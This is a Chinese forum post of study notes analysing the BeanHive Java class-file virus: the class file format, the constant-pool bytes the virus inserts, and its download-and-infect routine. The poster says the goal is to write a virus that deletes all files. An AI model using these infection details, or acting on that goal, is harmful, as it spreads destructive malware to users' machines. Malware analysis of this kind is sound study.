能力值:
( LV2,RANK:10 )
10 楼
............................
忽然发现他的确很厉害了,他把变量按照堆栈的方式存储起来了。。。。
然后插入方法。。调用。。呵呵,想到了。。。。。
CONSTANT
又想到了,好象应该是,其插入的应该是。。。。现在不能说了,因为这次应该是对了,虽然每次
都差一点都对了。但是这次应该对了。虚拟机了。虚拟机的结构,呵呵,还是写下来吧。。
接下来是学习虚拟机的结构,看看他插入的数据是什么块的,就好分析了。还有一点就是我
如何得到这些数据。。是个问题。如何得到不同的数据呢??
他应该是把数据直接插入到虚拟机中了,并插入到某一线程的数据区域中了。呵呵。。
并调用这一线程。
也有可能是由什么来着,Applet调用的这一线程。。对了。。Maybe!!
猜想那些数据的时候想到了,他应该是jvm之.class文件结构。上的内容。
一直以为我在飞速前进,现在我才明白我其实就是踯躅不前。现在才有了一点点进展。。
现在想到,他是把方法的编码插入,又将常量存储库插入。两者插入了就成了。
那方法调用呢?如何调用呢?
那应该是applet的问题了。。。。就是如此
那他是如何插入的呢,插入的是什么呢??
就要看到了。。我靠。。。。
e 是个总调度文件
c 插入感染性和一个异常实体
d 插入一个方法
b 插入一个常量存储库
插入的时候要看什么位置了
不是什么位置都能插入的关键是位置了
什么位置来着,,,
要看.class 文件的结构了
class文件的结构是什么来着,来着呢?
第一是 魔数占4个字节
第二是 主次版本也要占几个字节的来着。
接下来是常量池的长度和常量池/
第四是 访问控制,那访问控制有好多来着那怎么办呢,他是不是一个数组的形式呢?应该是吧!
第五和第六是thisclass 和superclass但是具体是什么意思我不太明白,。
第七是interface_count 和interfaces 前者是数量,后着保存着存储在常量池中的interface的索引。
第八fields_count和fields他们就是那个什么来着,是那个该类型声明的变量的总数,后面的是保存了不同
长度的变量的描述信息,fields_info表的序列。。。
第九 是什么来着。是那个methods_count 和methods和第八类似。。
那么d的内容插入的是什么地方呢??
想想,什么地方。。。。应该是第九的地方了,那他都插入什么数据呢??
一个方法中有什么呢?
有变量,常量,还有什么呢?应该没了吧!!应该是的。。。。。
一个方法的插入还有什么来着,。,
应该这么想
他把所有的变量都插入到那个变量池中,让后在方法的区域中可以调用了什么来着。确实这样的//
那访问权限怎么来着。。呢???
访问权限是这么来着的
访问权限呵呵呵呵访问权限他也插入到变量池中,然后就可以访问了,所有的数据都是在变量池中的其他的地方插入
的仅仅是引用了。。。那可以借助这个引用访问所要的数据了。。。我靠。。
那c 呢?c插入的是个异常了。异常是否也可以看成是一个方法呢?显然不行了。
或许要有其他的插入方式了呢。。。。
我靠
那他的测试感染性又怎么办呢???
我靠这么长时间了才分析到这个地方。。。。
我靠/。。。。....
关键还有读懂所需要的c中声明的变量的含义,含义,,,呵呵。呵呵。。。。
变量,,猜测了。。。。
boolean isValid = false;我靠,这个变量一看就知道是什么来着,看是否有效,废话,什么有效??是这
个文件已经感染了,还是这个文件是个合格的.class文件来着。。。不晓得了 。还有哪种猜测呢??
int temp_return_pointer = 0;
int temp_m_access_flags;
int temp_m_name_index;
int temp_m_attr_count;
int temp_m_attribute_name;
int temp_m_attribute_length = 0;
int temp_m_code_length;
int temp_e_table_length;
int temp_e_start_pc;
int temp_e_end_pc;
int temp_e_handler_pc;
int temp_attr_count;
int temp_attr_pointer;
int temp_attr_length;
int temp_deleted;
int temp_offset;
byte temp_tail[];
想想啊
temp_m 加个m是干什么的呢??
是为了区分?不是这么简单的。不是/。。。
是两个东西。对了一个是他妈的什么感染,另一个是异常了。。m 是否指代main方法???
看来不行,我必须将虚拟机的东西给看了,才行类。。才行类。。。。
now i write it for nothing to report ..
i just want to know what to do next!
what ???
然后将十六进制的文件再转化为10进制的文件。。。仅仅如此。。。测试一下。。。。
他是将java编译为class 文件然后又分析class (字节码)分析出字节码的各个区域的内容,
既有利于要插入的代码的实体的文件的分析,又有利于对将要被插入客户的class文件的分解,
方便插入,于是他必须将class文件的框架相当熟悉。。必须相当熟悉。。。。
work...... 字符传截取查看。: loadClass
(Ljava/lang/String;Z)Ljava/lang/Class;
Code
LineNumberTable
Exceptions
<init>
()V
SourceFile
VirusClassLoader.java
60dK9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8Y4N6%4N6#2)9J5k6h3y4G2k6r3g2T1M7X3g2S2K9$3g2J5M7#2)9J5k6h3!0J5k6#2)9J5c8R3`.`.
BeanHive
D E..............
java/lang/ClassNotFoundException
java/net/URL
java/lang/StringBuilder
F G..............
class
H I..............
JKLMNOPQRSTU............
java/lang/Exception
VW................
java/lang/ClassFormatError
XY Z ...............
java/lang/Runnable
E...............
VirusClassLoader
java/lang/ClassLoader
findSystemClass
(Ljava/lang/String;)Ljava/lang/Class;
append
(Ljava/lang/String;)Ljava/lang/StringBuilder;
toString
()Ljava/lang/String;
(Ljava/lang/String;)V
openConnection
()Ljava/net/URLConnection;
getInputStream
()Ljava/io/InputStream;
getContentLength
()I
java/io/InputStream
read
([B)I
close
defineClass
)(Ljava/lang/String;[BII)Ljava/lang/Class;
resolveClass
(Ljava/lang/Class;)V
java/lang/Class
newInstance
()Ljava/lang/Object;
run
.! .......................
他妈的思维全都乱了,我靠,全都乱了。。。
但是,想想与人交流也是很不错了一种经历从中学到了很都的东西啊,很多。。。
我想都有好处,,,好处。。。。
测试完了,但是测试结果呢?/ ++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
∽∽∽∽∽∽∽∽∽∽∽∽∽∽∽∽∽∽∽∽∽∽∽∽∽∽∽∽∽∽∽∽∽∽∽∽∽∽∽∽∽∽∽∽∽∽∽∽∽∽
---------------------------------------------------------------------------------------------------- LineNumberTable
VirusClassLoader.java
D E..............
java/lang/StringBuilder
F G..............
H I..............
JKLMNOPQRSTU............
VW................
XY Z ...............
E...............
VirusClassLoader
(Ljava/lang/String;)Ljava/lang/StringBuilder;
run
.! ....................... 在我的测试中找不到的字符串:
(Ljava/lang/String;)Ljava/lang/StringBuffer; 可能就是文件中的(Ljava/lang/String;)Ljava/lang/StringBuilder;
编译时有了异常。。
(Ljava/lang/String;[BII)Ljava/lang/Class;的匹配问题是没有我的那个)号的.
已经测试到"Code"了,下来接着测试吧!!!!!!
找不到的字符传
LocalVariables
ConstantValue
Virus
BeanHive.java
java/lang/StringBuffer
java/net/URLConnection
而上面的就是多出的字符:
说明:
带长长的............的就是截取的时候不确定是否属于的字符传,现在看来是不属于该类了。
则剩下的就是
LineNumberTable
VirusClassLoader.java
java/lang/StringBuilder
VirusClassLoader
(Ljava/lang/String;)Ljava/lang/StringBuilder;
为什么会多出这几个和少了几个呢??
----------------------------------------------------------------------------------------------------
∽∽∽∽∽∽∽∽∽∽∽∽∽∽∽∽∽∽∽∽∽∽∽∽∽∽∽∽∽∽∽∽∽∽∽∽∽∽∽∽∽∽∽∽∽∽∽∽∽∽
++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
|||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||| 似乎毫无进展,(错了,进展不小类,至少确定了那是16进制的东西)也是的仅仅是想着有了进展其实什么进展都没有,,,
思维偏差了。。。。
但是如何是好呢??如何??
我不太清楚的 。。
继续了。。。。
分析,下一步就是:两个工作。。
一是将那些16进制的再转换成10进制的然后再比较一下,
二是什么呢?是那个再准确的理解那个什么结构,几位的问题。到底是进几位到底是进几位。。。
进多少位的问题。。。。
分析透了,奶奶的没有时间的情况下就没有分析清楚的时候。。呵呵。。就这么类。。。。。
那些数字的编码:
//--> constant_pool[1] CONSTANT_String
8, //08 //空
0, //00 //空格
61, //3d //=
//--> constant_pool[2] CONSTANT_String
8, //08
0, //00
63, //3f
//--> constant_pool[3] CONSTANT_String
8, //08
0, //00
77, //4d //M 有这么一块是07 00 4d(77) //4d
//--> constant_pool[4] CONSTANT_Class
7, //07
0, //00
69, //45 //E
//--> constant_pool[5] CONSTANT_Class
7, //07
0, //00
78, //4e //N
//--> constant_pool[6] CONSTANT_Class
7, //07
0, //00
79, //4f //O
//--> constant_pool[7] CONSTANT_Class
7, //07
0, //00
80, //50 //P
//--> constant_pool[8] CONSTANT_Class
7, //07
0, //00
81, //51 //Q 有这么一块但是顺序是 00 51(81) 07 00
//--> constant_pool[9] CONSTANT_Class
7, //07
0, //00
82, //52 //R
//--> constant_pool[10] CONSTANT_Class
7, //07
0, //00
83, //53 //S
//--> constant_pool[11] CONSTANT_Class
7, //07
0, //00
84, //54 //T
//--> constant_pool[12] CONSTANT_Class
7, //07
0, //00
85, //55 //U
//--> constant_pool[13] CONSTANT_Class
7, //07
0, //00
86, //56 //V
//--> constant_pool[14] CONSTANT_Class
7, //07
0, //00
87, //57 //W
//--> constant_pool[15] CONSTANT_Methodref
10, //0a
0, //00
7, //07
0, //00
33, //21
//--> constant_pool[16] CONSTANT_Methodref
10, //0a
0, //00
8, //08
0, //00
33, //21
//--> constant_pool[17] CONSTANT_Methodref
10, //0a
0, //00
9, //09
0, //00
33, //21
//--> constant_pool[18] CONSTANT_Methodref
10, //0a
0, //00
12, //0c
0, //00
34, //22
//--> constant_pool[19] CONSTANT_Methodref
10, //0a
0, //00
13, //0d
0, //00
34, //22
//--> constant_pool[20] CONSTANT_Methodref
10, //0a
0, //00
12, //0c
0, //00
35, //23
//--> constant_pool[21] CONSTANT_Methodref
10, //0a
0, //00
5, //05
0, //00
36, //24
//--> constant_pool[22] CONSTANT_Methodref
10, //0a
0, //00
8, //08
0, //00
37, //25
//--> constant_pool[23] CONSTANT_Methodref
10, //0a
0, //00
8, //08
0, //00
38, //26
//--> constant_pool[24] CONSTANT_Methodref
10, //0a
0, //00
14, //0e
0, //00
39, //27
//--> constant_pool[25] CONSTANT_Methodref
10, //0a
0, //00
14, //0e
0, //00
40, //28
//--> constant_pool[26] CONSTANT_Methodref
10, //0a
0, //00
8, //08
0, //00
41, //29
//--> constant_pool[27] CONSTANT_Methodref
10, //0a
0, //00
6, //06
0, //00
42, //31
//--> constant_pool[28] CONSTANT_Methodref
10, //0a
0, //00
13, //0d
0, //00
43, //32
//--> constant_pool[29] CONSTANT_Methodref
10, //0a
0, //00
5, //05
0, //00
44, //33
//--> constant_pool[30] CONSTANT_Methodref
10, //0a
0, //00
8, //08
0, //00
45, //34
//--> constant_pool[31] CONSTANT_InterfaceMethodref
11, //0b
0, //00
11, //0b
0, //00
46, //35
//--> constant_pool[32] CONSTANT_Methodref
10, //0a
0, //00
12, //0c
0, //00
47, //2f
//--> constant_pool[33] CONSTANT_NameAndType
12, //0c
0, //00
62, //3e
0, //00
53, //35
//--> constant_pool[34] CONSTANT_NameAndType
12, //0c
0, //00
62, //3e
0, //00
57, //39
//--> constant_pool[35] CONSTANT_NameAndType
12, //0e
0, //00
71, //47
0, //00
56, //38
//--> constant_pool[36] CONSTANT_NameAndType
12, //0c
0, //00
72, //48 //H
0, //00
53, //35
//--> constant_pool[37] CONSTANT_NameAndType
12, //0c
0, //00
73, //49
0, //00
59, //3d
//--> constant_pool[38] CONSTANT_NameAndType
12, //0c
0, //00
74, //4a
0, //00
55, //37
//--> constant_pool[39] CONSTANT_NameAndType
12, //0c
0, //00
75, //4b
0, //00
48, //30
//--> constant_pool[40] CONSTANT_NameAndType
12, //0c
0, //00
76, //4c
0, //00
49, //31
//--> constant_pool[41] CONSTANT_NameAndType
12, //0c
0, //00
88, //58 //X
0, //00
55, //37
//--> constant_pool[42] CONSTANT_NameAndType
12, //0c
0, //00
89, //59 //Y
0, //00
50, //32
//--> constant_pool[43] CONSTANT_NameAndType
12, //0c
0, //00
90, //5a //Z
0, //00
52, //34
//--> constant_pool[44] CONSTANT_NameAndType
12, //0c
0, //00
91, //5b
0, //00
60, //3c
//--> constant_pool[45] CONSTANT_NameAndType
12, //0c
0, //00
92, //5c
0, //00
54, //36
//--> constant_pool[46] CONSTANT_NameAndType
12, //0c
0, //00
93, //5d
0, //00
53, //35
//--> constant_pool[47] CONSTANT_NameAndType
12, //0c
0, //00
94, //5e
0, //00
51, //33
为何写个0x01呢?
因为每个字符串开始的时候是型如:...str的,而第一个.总是0x01,第二个.总是0x00第三个.总是~变化的,
呵呵,接下来就是str了(看着他妈的01 24 03 00 ... ... ... 找呀找呀找规律~~ ~~ )。 上面一大块应该是变量也就是const_pool的内容,而下面还有很大一块的... .. . . . . . . @. !..... .. ..! ...什
么的应该是插入的方法了吧 ! 先对上面的总结一下吧!
不是上边的是对那个小猪显示的内容总结一下吧!
单个字母前的.一定是0x00,到方法区的特殊字符前的.就不一定是0x00了,可能就在方法区的不为0x00,
可能方法区后面的还有一个区域。 那个00是结束的标志,还是中间加的一个分割幅,还是开始的标志副呢?
而结束的也只有
另外还有ANSI表。
为什么上升到8呢?
因为前4个是魔数,接着两个是次版本号,再两个是主版本号。总共8位。所以是应该是8,而且
这8位中不含什么“重要”信息了。。。。。。。
经测试得到,变量的总数是5e也就是94个。
我看到很奇怪的一个现象,有些人不去上课,搞的他们自学能得到的更多似的。。。。。。
他妈的他就是按照这个顺序来读取的。。。。。。。。。。。
现在完成了对某个代码的读取理解。。。。
知道了,他是按照那个顺序来写的。如果我要写,也得按照那个顺序。那感染性呢??
感染性如何解释?
如何创造感染性呢??
感染性。。。。。。。。。
还有,他在hash表中存储的是什么东西呢?那是他截取的short 和utf8,都最终成为了String的。
要用他验证是否有感染性吗?
一个难关算攻克了,下一步是什么呢??目的是我要写一个病毒的。。。我自己的那么这才是很长的一段路的很小一部分。。。。。 现在将那个病毒代码看完了,下一步是将代码的每行都写上注释。。。。。。。。。。。。。。
将注释的每一行构思自己的代码结构。。最终完成自己的代码。。
我的也就是直接删文件,,直接地删文件。。。。。。。。。。。。。
写个文件将他妈的所有的文件给删了,就行了。。我靠,我就不信我写不成一个病毒。。。。。
现在我要对每个文件的每行代码做注释了。
写在哪呢?
大纲:从BeanHiveApplet.java开始。也就是按照交用过程来叙述比较好一点。
先大体上描述一下。。。。。。。。。。。。。。。。。。。。。。。。。。。
对于一个类用到哪些东西呢???
api 文档,网上的相关资料。以及个人理解。
本注释保留的原作者的注释(英文),我添加的是中文注释,并对每个类及相关知识,以及代码的
流程为大家讲解一下。希望对对此感兴趣的人有帮助。。。。 注释comment 好,现在我看懂了。如何证明给别人看呢???
如何?第一,将注释贴出来。放在网上。
第二自己再写一个。将源码放在网上。
通过这个,我可以找到一个好工作。。
I have a plan ... ...
两种路径,现在还不能告诉他,或他们。因为,现在还不是时候。等到我将所有的代码写出来的
时候就成了。分析一下,他的代码都是干吗的呢??分析一下。。。。
大脑中要有个清晰的构架。
清晰的构架。。。。。。。清晰的构架。等到我对这个代码了如执掌的时候,便可以随心所欲了。
他的执行路径是什么呢?
第一:病毒的执行过程,。。。。过程。。。。。。。。。。。
想:
BeanHive 的作用是
寻找并感染其他的class文件。当已经感染了路径中的某个文件之后,启动,那么他就会自行的感染
其他的文件。如何感染呢?由VirusClassLoader调用,VirusClassLoader首先会在文件系统中寻找
这个文件。若没有就会从作者的站点上下载。下载之后就会为BeanHive创建一个线程并运行他。
而BeanHive 的作用就是搜索文件和感染文件。于是,病毒的传播性就具备了。
而对于感染而言,主要是由e89a763c控制实现的。他判断被传递的.class文件是否具有了感染性。
若具有了就好了,(那操作是什么呢?没有)若没有就将其感染。
那么下来具体讲讲感染的过程:
感染分3步的:
第一步:找到相应的位置得到插入点的数据。
第二步:插入想要插入,所需的常量
第三步:插入方法。
关于第一步的具体细节:
找到相应的字节的插入点。涉及到的内容是,字符转换为16进制编码,class文件结构,16进制
与10进制的转换。其中字符转换为16进制编码的方式很容易的,我用的是小猪十六进制编辑器(java编
的),打开一个class文件之后,你会看到型如: 02 21 0a 4a ef e1 ... ... 的字符。不要小看这些
看似毫无章法的数字。我达到这一步用了好长时间呢。(他妈的,我不是在讲解的)。我不告诉你我是怎么想到的。
这一个重写。
关于第一步的具体细节:
找到相应的插入点。如何实现呢?
按照class文件的相应结构。具体是什么?
还要用到一个指针的对象。。
这个是他自己写的,关于RandomFileAccess的指针的对象。用他确定插入点已经到哪了。并随着文件的
读取相应的进位。
他是如何读取的呢?按照什么顺序读取的呢?
ClassFile {
u4 magic; // 必须为: 0xCAFEBABE
u2 minor_version;
u2 major_version; //CLASS文件结构主次版本号 JAVA2支持45.0-46.0
u2 constant_pool_count; //记录常量信息
cp_info constant_pool[constant_pool_count-1]; //计数从1开始
u2 access_flags; //class/interface访问权限
u2 this_class; //指向constant_poll中的有效索引值
u2 super_class; //0或指向constant_poll中的有效索引值,对于interface必须为非0
u2 interfaces_count; //superinterfaces的个数
u2 interfaces[interfaces_count]; //计数[0,count-1) 对应constant_pool中的一个索引值
u2 fields_count;
field_info fields[fields_count]; //主要用于记录class及实例中的变量
u2 methods_count;
method_info methods[methods_count];
u2 Attributes_count;
attribute_info Attributes[Attributes_count];
}
定义: u1 1个字节为单位的非负值
u2 2个字节为单位的非负值
u3 . . . . . . . . (其他以此类推 )
按照上面的顺序读取。。。。
并在读取时将指针推进。
对于上面的我不讲解了。读取相应的信息获取相应的数字。并加上要插入的数字个数。更改要更改的数字。
将需要的数字设为变量存储起来。方便插入。。。
第二步:插入变量池中的内容。
这个涉及到几个类型转换的过程。
第一,因为变量要插入到字节码中,所以,需要将数字转化为字节码,他妈的就是byte类型的就行了。int
转换为byte,不需要考虑精度损失,因为,这些int类型的值并没有超出byte的范围。
第二,将字符转换为16进制的数字。
第三,将16进制的数字转化为10进制的数字。
这些就完成了一次循环的转换。
首先获取要插入的变量,如何获取要读取的变量呢?
如何获取呢??也是按照上面的方式来获取的。则必须要知道那些数字的方式了。。很清楚他们的结构。。
_____________________________________________________________________________________________________________
| Magic high | |
| Magic low | CONSTANT Class info |
| Minor version | |------|Tag | |
| Magor version | ______ _|___ |Name index | |
| Constant pool count | / Tag 0 |Info | ----------- |
| constant pool 0 |/ Tag 1 |Info |--->... ... |
| ... ... | ... |... | |
| Constant pool n |\ ... |... | |
| Access flags | \ Tag n |Info | CONSTSNT Fieldref info |
| This class | --------|--- ____________________ |
| Super class | |------->|Tag | |
| Interfaces count | |Class index | |
| Interfaces 1 | |Name and Type index| |
| ... ... | ________________ -------------------- |
| Interfaces n | /Access flags | Constant vlaue attribute____ |
| Fields count | / Name index | +->|Attributes name index | |
| Fields 0 | Attributes count| | |Attributes length high | |
| ... ... | Attributes 0 |-+ |Attributes length low | |
| Fields n | \ ... ... .. |--| |Constant value index | |
| Methods count | \Attributes n | | -------- ---------------| |
| Methods 0 | ----------------- +---> ... |
| ... ... |--> ... Code attribute_____________________ |
| Methods n |----------------->|Attribute name index | Exception_______ |
| Attributes count | |Attribute length high ||--> |Start pc | |
| Attributes 0 | |Attribute length low || |End pc | |
| ... ... | |Max stack || |Handler pc | |
| Attributes n +--| |Max locals || ----------- |
| ----------------------| | |Code length high || ... |
| | |Code length low || Line Number Table attribute |
| _______________________ | |Code 0 || |->|Attribute name index | |
| Source file attribute | | |... ... || | |Attribute length high | |
| *Attribute name index |<-| |Code n || | |Attribute length low | |
| *Attribute length high| |Exception table length || | |Line name table length | |
| *Atrribute length low | |Exception 0 || | |Line names 0 | |
| *Source file index | | ... ... || | | ... .... | |
| ----------------------- |Exception n |- | |Line names n | |
| |Attribute count | | --------|---------------- |
| |Attribute 0 |-- | Line name table |
| | ... ... | V |
| |Attribute n | | Start pc | |
| ------------------------ | Line number| |
| ------------ |
|___________________________________________________________________________________________________________|
得到数据,得到数据。。。。。。。。。。。。。。。。。
那么他有两种形式,第一,按照所有的数据存储到constant_pool中,并在其中存储了两位的信息,
第一是tag第二是info对于info又有tag和其他的info.那么如何存储这些呢,在内存中?
第一中是在constant中存储所有的数据,
一个类中的数据是??
如何提取,让我用自己的话说出来。!!
根据class文件的特点。前8个是去掉的,接两位是cp_count,然后是什么来着,要提取的内容了。
hash.get(hash.get(new Integer(temp_super_class))).equals("java/lang/Object")
hash.get(new Integer(temp_super_class)) 我还有很远没走类,很远。。。
变量变量变量。
Methods的区域解析。
Methods {
Methods count
Methods 0
Methods 1
.... ..
Methods n
}
Methods n
Code attribute{
Attribute name index
Attribute length high
Attribute length low
Max statck
Max locals
Code length high
Code length low
Code 0
.... ..
Code n
Exception table length
Exception 0
... ...
Exception n
Attribute count
Attribute 0
... ...
Attribute n
}
Exception n
Exception{
Start pc
End pc
Handler pc
}
Attribute n
Line Number Table attribute{
Attribute name index
Attribute length high
Attribute length low
Line name table length
Line names 0
... ... ..
Line names n
}
Line names n
Line name table{
Start pc
Line number
} Attribute 的区域解析
Attribute
Attribute {
Attribute count
Attribute 0
Attribute 1
... ... ..
Attribute n
}
Attribute n
Source file attribute {
Attribute name index
Attribute length high
Attribute length low
Source file index
} 试着将Methods 区域的转化一下: Methods {
Methods count
/** start Method 0 {Code attribute} **/
//Code attribute
Attribute name index
Attribute length high
Attribute length low
Max statck
Max locals
Code length high
Code length low
Code 0
.... ..
Code n
Exception table length
// start Exception 0 in M0_CA
//*******{Excetion}********//
Start pc
End pc
Handler pc
// end Exception 0 in M0_CA
// start Exception 1 in M0_CA
//*******{Excetion}********//
Start pc
End pc
Handler pc
// end Exception 1 in M0_CA
// start Exception .. in M0_CA
//*******{Excetion}********//
Start pc
End pc
Handler pc
// end Exception .. in M0_CA
// start Exception n in M0_CA
//*******{Excetion}********//
Start pc
End pc
Handler pc
// end Exception n in M0_CA
Attribute count
// start Attribute 0 in M0_CA
//******{ Line Number Table attribute }******//
Attribute name index
Attribute length high
Attribute length low
Line name table length
// Start Line names 0 in M0_CA_ATTR0
//*******{ Line name table }*******//
Start pc
Line number
// end of Line names 0 in M0_CA_ATTR0
// Start Line names 1 in M0_CA_ATTR0
//*******{ Line name table }*******//
Start pc
Line number
// end of Line names 1 in M0_CA_ATTR0
// Start Line names .. in M0_CA_ATTR0
//*******{ Line name table }*******//
Start pc
Line number
// end of Line names .. in M0_CA_ATTR0
// Start Line names n in M0_CA_ATTR0
//*******{ Line name table }*******//
Start pc
Line number
// end of Line names n in M0_CA_ATTR0
// start Attribute 1 in M0_CA
//******{ Line Number Table attribute }******//
Attribute name index
Attribute length high
Attribute length low
Line name table length
// Start Line names 0 in M0_CA_ATTR1
//*******{ Line name table }*******//
Start pc
Line number
// end of Line names 0 in M0_CA_ATTR1
// Start Line names 1 in M0_CA_ATTR1
//*******{ Line name table }*******//
Start pc
Line number
// end of Line names 1 in M0_CA_ATTR1
// Start Line names .. in M0_CA_ATTR1
//*******{ Line name table }*******//
Start pc
Line number
// end of Line names .. in M0_CA_ATTR1
// Start Line names n in M0_CA_ATTR1
//*******{ Line name table }*******//
Start pc
Line number
// end of Line names n in M0_CA_ATTR01 // start Attribute .. in M0_CA
//******{ Line Number Table attribute }******//
Attribute name index
Attribute length high
Attribute length low
Line name table length
// Start Line names 0 in M0_CA_ATTR..
//*******{ Line name table }*******//
Start pc
Line number
// end of Line names 0 in M0_CA_ATTR..
// Start Line names 1 in M0_CA_ATTR..
//*******{ Line name table }*******//
Start pc
Line number
// end of Line names 1 in M0_CA_ATTR..
// Start Line names .. in M0_CA_ATTR..
//*******{ Line name table }*******//
Start pc
Line number
// end of Line names .. in M0_CA_ATTR..
// Start Line names n in M0_CA_ATTR..
//*******{ Line name table }*******//
Start pc
Line number
// end of Line names n in M0_CA_ATTR..
// start Attribute n in M0_CA
//******{ Line Number Table attribute }******//
Attribute name index
Attribute length high
Attribute length low
Line name table length
// Start Line names 0 in M0_CA_ATTRn
//*******{ Line name table }*******//
Start pc
Line number
// end of Line names 0 in M0_CA_ATTRn
// Start Line names 1 in M0_CA_ATTRn
//*******{ Line name table }*******//
Start pc
Line number
// end of Line names 1 in M0_CA_ATTRn
// Start Line names .. in M0_CA_ATTRn
//*******{ Line name table }*******//
Start pc
Line number
// end of Line names .. in M0_CA_ATTRn
// Start Line names n in M0_CA_ATTRn
//*******{ Line name table }*******//
Start pc
Line number
// end of Line names n in M0_CA_ATTRn
} Attribute 的区域解析
Attribute
Attribute {
Attribute count
Attribute 0
Attribute 1
... ... ..
Attribute n
}
Attribute n
Source file attribute {
Attribute name index
Attribute length high
Attribute length low
Source file index
}
将Attribute 的转化一下。
Attributes{
Attributes count;
// Start Attribute_0
//******{Source file attribute}******//
Attribute name index
Attribute length high
Attribute length low
Source file index
// End Attribute_0
// Start Attribute_1
//******{Source file attribuet}******//
Attribute name index
Attribute length high
Attribute length low
Source file index
// End Attribute_1
// Start Attribute_..
//******{Source file attribuet}******//
Attribute name index
Attribute length high
Attribute length low
Source file index
// End Attribute_..
// Start Attribute_n
//******{Source file attribuet}******//
Attribute name index
Attribute length high
Attribute length low
Source file index
// End Attribute_n
}
更详细的请参看Methods&Attribute转化内存存储顺序.doc。
他的文件的调用顺序:
e 调用 c virusinvoke的insert(int temp_m_count, int temp_m_pointer, int delta_offset,
RandomAccessFile temp, a98b34f2 ptr, Hashtable hash)
调用时的变量insert(temp_m_count,temp_m_pointer,delta_offset,temp,ptr,hash)
e 调用 d virusmethod的insert(int temp_m_count_pointer, int temp_m_count,
int temp_m_pointer, int delta_offset,RandomAccessFile temp,a98b34f2 ptr)
调用时的变量insert(temp_cp_count,temp_cp_pointer,delta_offset,
temp_this_class,temp_super_class,temp,ptr)
e 调用 b virusconst 的insert(int temp_cp_count, int temp_cp_pointer, int delta_offset,
int temp_this_class, int temp_supper_class, RandomAccessFile temp,
a98b34f2 ptr)
调用时的变量insert(temp_cp_count,temp_cp_pointer,delta_offset,
temp_this_class,temp_super_class,temp,ptr)
而a98b34f2相当于一个工具类存在,用于传递指针的位置,因为他可以new 一个a98b34f2新对象,而没有所以猜测他的指针位置
一直保存着,也就是内存中的a98b34f2这个对象没有改变。
BeanHive 调用 e vstart的poke(File entry)
Main 调用 virusClassLoader
virusClassLoader 下载BeanHive类。
BeanHive 的两个重要动作:1. 获取当前目录中的.class文件
2. 调用e vstart的poke(File entry)将得到的.class文件作为参数传进去。
在e 中声明了所有的在调用b c d时用的变量。若想彻底弄清楚到底 b c d干了什么就要将在e poke()方法中声明的
1.变量含义 2.传递时的具体指代 弄清楚。
+-----------
$ 类变量
+-----------
hash ---- Hashtable类型
hash中存储的值有两种,1. int 2. String
int 是读到类的时候存储进去的 ┓
String 是读到Utf8的时候存储进去的┻ 其中存储到其中的值的键都为cp中的位置
temp ---- RandomAccessFile类型
+-----------
$ 方法变量
+-----------
temp_magic ---- u4 要被感染的.class文件的魔数
temp_cp_count ---- u2 要被感染的.class文件的 constant_pool_count
temp_cp_pointer ---- int值,标志读取或写的指针位置
delta_offset ----
temp_access_flags ---- u2 这个文件(类或接口)的访问权限
temp_this_class ---- u2 转向this_class类型解析
temp_super_class ---- u2 转向super_class类型解析
temp_interfaces ---- 转向interface类型解析
temp_fields ---- 转向temp_fields类型解析
temp_m_count_pointer ---- m指代Methods数量的指针下标
temp_m_count ---- 指代 Methods 的数量
temp_m_pointer ---- 指代 Methods 的下标
isInvalid ---- boolean 类型,作者的上下文中的这个字段的含义可能不太明确,
时而更改。
根据上下文可以确定temp字段代表的是传入的文件,也就是要被感染的文件。
对于temp_interfaces的分析。涉及到temp_super_class。
interfaces区域解析,内存字节码存储方式。
interface {
interface_count //----- u2
interface 0 //----- u2
interface 1 //----- u2
interface .. //----- u2
interface n //----- u2
}
因为参数的传递中没用到temp_interface,所以对interface中的存储内容不再深究,
和super_class应相似的。 super_class 区域解析,字节码存储方式。
super_class{
super_class //----- u2
}
super_class的值是常数表(constant_pool)的索引,索引(指向)的info内保存超类名,在info内保存形式和类名相同。
分析temp_this_class
this_class 区域解析,字节码存储方式
this_class{
this_class //----- u2
}
this_class的值是常数表(constant_pool)的索引,索引(指向)的info内保存类或接口名。
例如类名为com.sum.java.swing.SwingUtitlities2在info保存为com/sum/java/swing/SwingUtitlities2
-------------------------this means: it is a String ! (y/n)? temp_fields解析
Fields {
Fields count // ---- 记录域的数量
Fields 0 // ---- 第一个域
... ..
Fields n // ---- 第n个域
} Field_info
Field.n {
Access_flags // ---- u2 域修饰符掩码
Name_index // ---- u2 域名在常数表内的索引
Descriptor_index // ---- u2 域的描述符,其值是常数表内的索引
Attributes_count // ---- u2 域的属性个数
Attributes 0 // ----
... ... .. // ----
Attributes n // ----
}
Constant value attribute
Attribute n{
Attribute name index // ---- u2 常数表内索引
Attribute length high // ---- u2 属性长度┓
Attribute length low // ---- u2 属性长度┻可合并为一个Attribute length u4
Constantvalue_index // ---- u2 常数表内索引,保存域的值
} 试着将其解释一下:
Fields{
Fields count // ---- u2 记录域的数量
// Start Field 0
//*******{ Field_info }*******//
Access_flags // ---- u2 域修饰符掩码,访问控制权
Name_index // ---- u2 constant_pool中的索引,对应于CONSTANT_Utf8_info描述。
Descriptor_index // ---- u2 constant_pool中的索引,对应于CONSTANT_Utf8_info描述。
Attributes_count // ---- u2 域的属性个数
//**Start Attribute 0
Attribute name index // ---- u2 常数表内索引
Attribute length // ---- u2 属性长度
Constantvalue_index // ---- u2 常数表内索引,保存域的值
// End of Attribute 0 **//
//**Start Attribute ..
Attribute name index
Attribute length high
Constantvalue_index
// End of Attribute ..**//
//**Start Attribute n
Attribute name index
Attribute length high
Constantvalue_index
// End of Attribute n **//
// End of Field 1
:::::: ::::::
// End of Field n
} field_info中access_flages意义如下:
ACC_PUBLIC 0x0001
ACC_PRIVATE 0x0002
ACC_PROTECTED 0x0004
ACC_STATIC 0x0008
ACC_FINAL 0x0010
ACC_VOLATILE 0x0040
ACC_TRANSIENT 0x0080
其中很显然不能同时为ACC_FINAL和ACC_VOLATILE 且前三项是互斥的。
interface必须置ACC_PUBLIC, ACC_STATIC,ACC_FINAL位,且不能置其他位。
其他未指明的位保留将来使用,并且编译器应当将其置为0,同时Java虚拟机应当忽略他们。
temp_m_count
显然对于temp_Methods已经解释的很清楚了。
hash解析
hash是从截取的
temp解析
